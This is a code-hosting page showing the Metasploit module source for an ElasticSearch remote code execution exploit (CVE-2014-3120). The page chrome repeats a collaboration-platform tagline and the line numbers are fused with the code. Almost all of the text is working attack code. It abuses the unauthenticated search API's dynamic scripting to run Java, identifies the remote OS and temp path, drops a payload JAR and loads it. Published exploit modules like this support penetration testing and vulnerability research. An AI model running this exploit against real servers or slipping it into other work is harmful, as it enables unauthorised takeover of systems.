Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(update_info(info,13'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',14'Description' => %q{15This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,16exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the17REST API, which does not require authentication, where the search18function allows dynamic scripts execution. It can be used for remote attackers19to execute arbitrary Java code. This module has been tested successfully on20ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.21},22'Author' =>23[24'Alex Brasetvik', # Vulnerability discovery25'Bouke van der Bijl', # Vulnerability discovery and PoC26'juan vazquez' # Metasploit module27],28'License' => MSF_LICENSE,29'References' =>30[31['CVE', '2014-3120'],32['OSVDB', '106949'],33['EDB', '33370'],34['URL', 'http://bouk.co/blog/elasticsearch-rce/'],35['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch']36],37'Platform' => 'java',38'Arch' => ARCH_JAVA,39'Targets' =>40[41[ 'ElasticSearch 1.1.1 / Automatic', { } ]42],43'DisclosureDate' => '2013-12-09',44'DefaultTarget' => 0))4546register_options(47[48Opt::RPORT(9200),49OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]),50OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ])51])52end5354def check55result = Exploit::CheckCode::Safe5657if vulnerable?58result = Exploit::CheckCode::Vulnerable59end6061result62end6364def exploit65print_status("Trying to execute arbitrary Java...")66unless vulnerable?67fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")68end6970print_status("Discovering remote OS...")71res = execute(java_os)72result = parse_result(res)73if result.nil?74fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")75else76# TODO: It'd be nice to report_host() with this info.77print_good("Remote OS is '#{result}'")78end7980jar_file = ""81if result =~ /win/i82print_status("Discovering TEMP path")83res = execute(java_tmp_dir)84result = parse_result(res)85if result.nil?86fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")87else88print_good("TEMP path identified: '#{result}'")89end90jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"91else92jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")93end9495register_file_for_cleanup(jar_file)96execute(java_payload(jar_file))97end9899def vulnerable?100java = 'System.getProperty("java.class.path")'101102vprint_status("Trying to execute 'System.getProperty(\"java.version\")'...")103res = execute(java)104result = parse_result(res)105106if result.nil?107vprint_status("No results for the Java test")108return false109elsif result =~ /elasticsearch/110vprint_status("Answer to Java test: #{result}")111return true112else113vprint_status("Answer to Java test: #{result}")114return false115end116end117118def parse_result(res)119unless res120vprint_error("#{peer} no response")121return nil122end123124unless res.code == 200 && res.body125vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")126return nil127end128129begin130json = JSON.parse(res.body.to_s)131rescue JSON::ParserError132return nil133end134135begin136result = json['hits']['hits'][0]['fields']['msf_result']137rescue138return nil139end140141result.is_a?(::Array) ? result.first : result142end143144def to_java_byte_array(str)145buff = "byte[] buf = new byte[#{str.length}];\n"146i = 0147str.unpack('C*').each do |c|148buff << "buf[#{i}] = #{c};\n"149i = i + 1150end151152buff153end154155def java_os156"System.getProperty(\"os.name\")"157end158159def java_tmp_dir160"System.getProperty(\"java.io.tmpdir\");"161end162163164def java_payload(file_name)165source = <<-EOF166import java.io.*;167import java.lang.*;168import java.net.*;169170#{to_java_byte_array(payload.encoded_jar.pack)}171File f = new File('#{file_name.gsub(/\\/, "/")}');172FileOutputStream fs = new FileOutputStream(f);173bs = new BufferedOutputStream(fs);174bs.write(buf);175bs.close();176bs = null;177URL u = f.toURI().toURL();178URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u});179Class c = cl.loadClass('metasploit.Payload');180c.main(null);181EOF182183source184end185186def execute(java)187payload = {188"size" => 1,189"query" => {190"filtered" => {191"query" => {192"match_all" => {}193}194}195},196"script_fields" => {197"msf_result" => {198"script" => java199}200}201}202203res = send_request_cgi({204'uri' => normalize_uri(target_uri.path.to_s, "_search"),205'method' => 'POST',206'data' => JSON.generate(payload)207})208209return res210end211end212213214